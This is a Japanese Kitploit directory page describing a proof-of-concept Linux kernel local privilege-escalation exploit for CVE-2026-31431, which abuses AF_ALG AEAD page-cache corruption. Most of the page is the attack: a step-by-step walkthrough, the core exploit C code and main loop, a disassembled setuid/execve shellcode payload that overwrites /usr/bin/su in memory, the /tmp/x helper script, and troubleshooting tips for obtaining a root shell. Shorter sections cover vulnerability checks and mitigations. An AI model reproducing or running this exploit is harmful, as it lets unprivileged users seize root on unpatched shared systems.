Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431 — CVE-2026-31431 用の実証概念実証エクスプロイト。AF_ALG AEAD ページキャッシュ破損を介した Linux カーネルのローカル権限昇格であり、root シェルを取得します。 | Kitploit
ツール/GitHubGitHub/wesmar/cve-2026-31431
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトバイナリエクスプロイト
GitHubwesmar/cve-2026-31431

CVE-2026-31431

CVE-2026-31431 用の実証概念実証エクスプロイト。AF_ALG AEAD ページキャッシュ破損を介した Linux カーネルのローカル権限昇格であり、root シェルを取得します。

リポジトリを見る
513ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431 — AF_ALG を介したローカル権限昇格

NVD / NIST PoC Download

2026-04-29 — このエクスプロイトを MyDigitalLife フォーラム で公開した翌日に公開します。 Python は不要で、C で記述され、以下を使用して可能な限り小さくコンパイルされています:

root@kitploit:~
musl-gcc -static -Os -o exploit exploit.c -s

重大な脅威です。エクスプロイトバイナリは依存関係なしでコンパイルされており、任意の Linux システムで脆弱性のテストに使用できます。

CVE-2026-31431 は、NIST が確認した Linux カーネルの脆弱性であり、権限のないローカルユーザーが数秒で root シェルを取得できるものです。CVE-2026-31431 のエクスプロイトが公開されていることを踏まえ、社内インフラストラクチャの露出を評価するために、バイナリの概念実証 (PoC) を開発しました。一部の環境では su の使用が制限されていますが、この脆弱性は基盤となるカーネルのメモリ管理を標的とするため、共有サーバーにとって特に重大です。その結果、sudo、passwd、mount、newgrp を含むあらゆる SETUID バイナリを悪用してエクスプロイトをトリガーし、root シェルを取得できます。標準的なユーザー空間の制限ではこの脅威を軽減するには不十分なため、カーネルのパッチ適用という管理者対応が直ちに必要です。パッチが適用されていないカーネルを実行している Linux システムはすべてリスクがあります。

独自の動作するエクスプロイト · Linux カーネル · AF_ALG 暗号インターフェース (AEAD)

ディスク上のファイルに触れることなく、カーネルページキャッシュ内の /usr/bin/su を置き換えます

ローカルシェルアクセスで十分 — 追加の権限は不要

パッチ未適用の Linux ディストリビューションに影響

CVE-2026-31431


📚 目次

  • この脆弱性とは
  • 影響を受けるシステム
  • エクスプロイトの仕組み — ステップバイステップ
  • 攻撃フロー
  • エクスプロイトコード解析
  • ELF ペイロード — 技術詳細
  • 脆弱性の確認方法
  • 緩和策
  • 研究者向けメモ
  • 免責事項

この脆弱性とは

CVE-2026-31431 は、Linux カーネルの暗号サブシステムにおける scatter-gather I/O 操作と ページキャッシュ 参照の処理に関するバグです。具体的には、AEAD アルゴリズム用の AF_ALG ソケット実装 (crypto/af_alg.c、crypto/aead.c) に存在します。

実際に何が起こるのか

Linux カーネルは、AF_ALG ソケットを通じてユーザー空間に暗号インターフェースを公開しています。脆弱性は、AEAD 復号操作中に、カーネルが復号出力を一時バッファではなく ソースファイルのページキャッシュページに直接マッピングしてしまう ことにあります。攻撃者はこれにより、root 権限なしで、ファイルシステムに目に見える痕跡を残すことなく、ディスク上のファイルを変更せずに任意のファイルのメモリ内コンテンツを上書きできます。


影響を受けるシステム


エクスプロイトの仕組み — ステップバイステップ

エクスプロイトは、/tmp/x のヘルパースクリプトと AF_ALG に基づく破損ループの 2 つのコンポーネントで構成されています。以下はソースコード解析に基づく正確なウォークスルーです:

1. ヘルパースクリプトのセットアップ

エクスプロイトは、以下の内容で /tmp/x を作成します:

root@kitploit:~
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh

パーミッションを 0755 に設定します。理由: /usr/bin/su は起動時に環境変数 (TERM を含む) を削除します。ヘルパースクリプトは、実際のシェルを起動する前にそれらを復元し、機能するターミナルを保証します。

2. ELF ペイロードの構築

生のシェルコードを含む最小の 158 バイトの x86_64 ELF バイナリがメモリ内に構築されます。オフセット 150 の文字列 /bin/sh は、memcmp/memcpy を介して /tmp/x\0 にパッチされます。詳細は ELF ペイロード を参照してください。

3. /usr/bin/su を読み取り専用で開く

root@kitploit:~
int su_fd = open("/usr/bin/su", O_RDONLY);

ファイルは読み取り専用で開かれます — エクスプロイトには書き込み権限は一切必要ありません。

4. 破損ループ — 4 バイトずつ 39 回の反復

ペイロード (158 バイト) は 4 バイトのチャンク (39 個の完全なチャンク) で処理されます。各チャンクは corrupt_binary_chunk() に渡され、以下を実行します:

  • AF_ALG ソケット (SOCK_SEQPACKET) を作成
  • authencesn(hmac(sha256),cbc(aes)) — 複合 AEAD アルゴリズムにバインド
  • 72 バイトのキーと 4 バイトの認証タグサイズを設定
  • 操作ソケット (op_sock) を受け入れ
  • 8 バイトのバッファ (4× 'A' + 4 ペイロードバイト) と 3 つの CMSG (ALG_OP_DECRYPT、IV (20 バイト)、assoclen=8) を含む sendmsg を送信
  • splice を実行: su_fd → pipe → op_sock (カーネル経由のゼロコピー)
  • recv() で最終化 — ここでカーネルが誤ってページキャッシュを上書きします

5. 実行

root@kitploit:~
execve("/usr/bin/su", args, NULL);

カーネルはページキャッシュ — 現在は汚染されている — を通じて /usr/bin/su をロードします。SUID ビット (chmod u+s) はそのままなので、カーネルはファイルを root として実行します。シェルコードは setuid(0) → execve("/tmp/x") → 対話型 root シェルを実行します。


攻撃フロー

root@kitploit:~
flowchart TD
    A[権限のないローカルユーザー] --> B["ヘルパースクリプト /tmp/x を作成\nchmod 0755"]
    B --> C["158 バイトの ELF ペイロードを構築\nパッチ: /bin/sh → /tmp/x"]
    C --> D["open /usr/bin/su O_RDONLY\n書き込み権限は不要"]
    D --> E[ループ: 4 バイトのチャンク × 39]
    E --> F[socket AF_ALG SOCK_SEQPACKET]
    F --> G["bind: authencesn hmac sha256 cbc aes"]
    G --> H["setsockopt: 72B キー + authsize=4"]
    H --> I[accept → op_sock]
    I --> J["sendmsg: 8B データ + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
    J --> K["splice: su_fd → pipe → op_sock\nカーネル経由のゼロコピー"]
    K --> L[recv → AEAD 操作を最終化]
    L --> M["カーネルのバグ: 復号出力が\nsu_fd のページキャッシュを上書き"]
    M --> N{次のチャンク?}
    N -->|はい| E
    N -->|いいえ| O["execve /usr/bin/su"]
    O --> P["カーネルが /usr/bin/su を\n汚染されたページキャッシュからロード"]
    P --> Q["SUID ビットはそのまま\nカーネルが root として実行"]
    Q --> R["シェルコード: setuid 0 システムコール 105"]
    R --> S["execve /tmp/x システムコール 59"]
    S --> T[対話型 root シェル]

エクスプロイトコード解析

以下で exploit.c の主要セクションを確認します:

corrupt_binary_chunk() 関数

エクスプロイトの核心です。各呼び出しで、1 つの完全な AF_ALG トランザクションを調整します:

root@kitploit:~
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
    // AF_ALG ソケットを作成し、AEAD authencesn(hmac(sha256),cbc(aes)) にバインド
    alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));

    // 72 バイトのキー + 認証タグサイズ = 4 バイト
    setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key));       // 72B
    setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);

    op_sock = accept(alg_sock, NULL, NULL);

    // バッファ: 関連データとして 4x 'A' + 4 ペイロードバイト
    unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};

    // 3 つの CMSG: DECRYPT 操作 / IV (20B、最初のバイト 0x10) / assoclen=8
    // MSG_MORE 付き sendmsg — データはまだ完全ではない
    sendmsg(op_sock, &msg, MSG_MORE);

    // ゼロコピー splice: su_fd → pipe → op_sock (offset+4 バイト)
    splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
    splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);

    // recv が操作を最終化 — カーネルがここで su_fd のページキャッシュに誤って書き込む
    recv(op_sock, dummy, 8 + offset, 0);
}

メインループ

root@kitploit:~
for (size_t i = 0; i < len; i += 4) {
    if (i + 4 > len) break;           // 最後の 2 バイトをスキップ (158 % 4 = 2)
    corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 個の完全なチャンク × 4 バイト = 156 バイトが適用される

ELF ペイロード — 技術詳細

ペイロードは、生のシェルコードを含む自己完結型の 158 バイトの x86_64 ELF バイナリです — 動的リンカーも外部ライブラリもありません。

シェルコード — 逆アセンブル

root@kitploit:~
; オフセット 120 — エントリポイント 0x400078
xor  eax, eax          ; eax = 0
xor  edi, edi          ; edi = 0  (uid = 0)
mov  al, 105           ; syscall setuid(0)
syscall

lea  rdi, [rip+0xf]    ; rdi → "/tmp/x\0" (オフセット 150)
xor  esi, esi          ; argv = NULL
push 59
pop  rax               ; syscall execve
cdq                    ; rdx = 0 (envp = NULL)
syscall

xor  edi, edi
push 60
pop  rax               ; syscall exit(0)
syscall

; オフセット 150
db "/tmp/x", 0, 0      ; ("/bin/sh\0" からパッチ)

脆弱性の確認方法

ステップ 1 — カーネルバージョンの確認

root@kitploit:~
uname -r

出力を NIST が公開している脆弱なバージョンのリストと比較してください: nvd.nist.gov/vuln/detail/CVE-2026-31431

ステップ 2 — AF_ALG が利用可能かどうかの確認

root@kitploit:~
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG available — system may be vulnerable')"

コマンドが [Errno 97] Address family not supported を返す場合 — モジュールは無効化されており、リスクは大幅に低くなります。

ステップ 3 — /usr/bin/su の SUID の確認

root@kitploit:~
ls -la /usr/bin/su

s ビットが存在する場合 (例: -rwsr-xr-x) — /usr/bin/su に SUID が設定されており、攻撃ベクトルとなります。


緩和策

一時的な回避策 (カーネルパッチが利用可能になるまで)

root@kitploit:~
# 不要な場合は AF_ALG モジュールをアンロード
sudo modprobe -r af_alg 2>/dev/null || echo "Module is built into the kernel — cannot unload"

# または — SUID を一時的に削除
sudo chmod u-s /usr/bin/su

研究者向けメモ

このセクションは、隔離された環境で脆弱性を分析するセキュリティ研究者を対象としています。

socket() または bind() が失敗する

症状: perror("socket") または perror("bind") が終了をトリガーします。

原因:

  1. カーネルが AF_ALG または authencesn アルゴリズムをサポートしていない — 確認: cat /proc/crypto | grep authencesn
  2. 必要なモジュールをロード: sudo modprobe hmac sha256 cbc aead authencesn
  3. AppArmor/SELinux が AF_ALG ソケットの作成をブロックしている — ログを確認: dmesg | tail -20

splice() が EPERM / EINVAL を返す

症状: splice 操作がカーネルによって拒否されます。

原因:

  1. su_fd がシンボリックリンクやデバイスではなく通常のファイルを指していることを確認
  2. 暗号ソケットへのゼロコピーをブロックする監査ログエントリがないか dmesg を確認
  3. LSM が操作をインターセプトしていないことを確認

execve が通常のユーザーシェルを起動する

症状: root プロンプトが表示されない; id が元の UID を示します。

原因:

  1. /usr/bin/su に SUID ビットがない — ls -la /usr/bin/su、s ビットが表示される必要があります
  2. execve の前にページキャッシュがフラッシュされた可能性がある — sync を追加するか、ループ遅延を減らします
  3. システムに CVE-2026-31431 のパッチが適用されている — カーネルバージョンを確認

/tmp/x が見つからない、または TERM がない

症状: シェルは起動しますが、ターミナルのレンダリングが壊れています。

原因:

  1. /tmp が書き込み可能で、noexec でマウントされていないことを確認
  2. /tmp/x のパーミッションが 0755 である必要がある — 確認: ls -la /tmp/x
  3. execve("/tmp/x") が失敗する場合 — シェルコードを再パッチして /bin/sh を直接使用できます

免責事項

警告: このドキュメントは、情報提供、教育、および防御目的のみで公開されています。これは、NIST によって特定され、セキュリティコミュニティによって報告された公知の脅威を説明しています。所有していないシステム、またはテストする明示的な許可がないシステムでエクスプロイトを実行すると、該当する法律に違反し、刑事責任が生じる可能性があります。隔離されたラボ環境でのみテストしてください。

すべての商標は、それぞれの所有者の財産です。Linux および関連するマークは、Linux Foundation の商標です。


最終更新: 2026-04-29

ツールをダウンロード
プロパティ値
識別子CVE-2026-31431
参照NIST NVD
タイプローカル権限昇格 (LPE)
コンポーネントLinux カーネル — AF_ALG / AEAD (authencesn)
必要なアクセス権限のないローカルユーザー
影響対話型 root シェル
エクスプロイトの状態動作する PoC が GitHub で公開されています
永続性なし — 変更は RAM 内のみに存在し、再起動で元の状態に戻ります
システムステータス
Ubuntu 24.04 (ベアメタル / VM)⚠️ パッチ未適用のカーネルで脆弱
パッチ未適用カーネルの Debian、Fedora、Arch⚠️ 脆弱
CONFIG_SECURITY_LOCKDOWN_LSM を有効にしたディストリビューション✅ 保護されている可能性が高い
nosuid または ProtectSUID (systemd) を備えたシステム✅ 保護されている
AppArmor/SELinux が AF_ALG をブロックしているシステム✅ 保護されている
macOS、Windows (ネイティブ)✅ 影響なし
フィールド詳細
合計サイズ158 バイト
ELF ヘッダー120 バイト (e_type=2 EXEC、e_machine=62 x86_64)
エントリポイント0x00400078 = オフセット 120 (ヘッダーの直後)
シェルコード30 バイト (オフセット 120–149)
ターゲット文字列オフセット 150 の 8 バイト (/bin/sh\0 → /tmp/x\0 にパッチ)
4 バイトチャンク39 個の完全なチャンク (156 バイト); 最後の 2 バイトはスキップ
緩和策適用方法効果
カーネル更新sudo apt update && sudo apt upgrade + 再起動✅ 完全 (パッチが利用可能な場合)
AF_ALG モジュールのブラックリスト化echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf✅ 攻撃ベクトルをブロック
su から SUID を削除sudo chmod u-s /usr/bin/su✅ このエクスプロイトをブロック (注: su は機能しなくなります)
/tmp を noexec でマウント/etc/fstab を編集: tmpfs /tmp tmpfs noexec,nosuid 0 0⚠️ 部分的 — /tmp/x をブロック、エクスプロイトは別のパスを使用する可能性があります
AppArmor / SELinux権限のないユーザーに対して AF_ALG socket をブロックするプロファイル✅ 正しい設定で効果的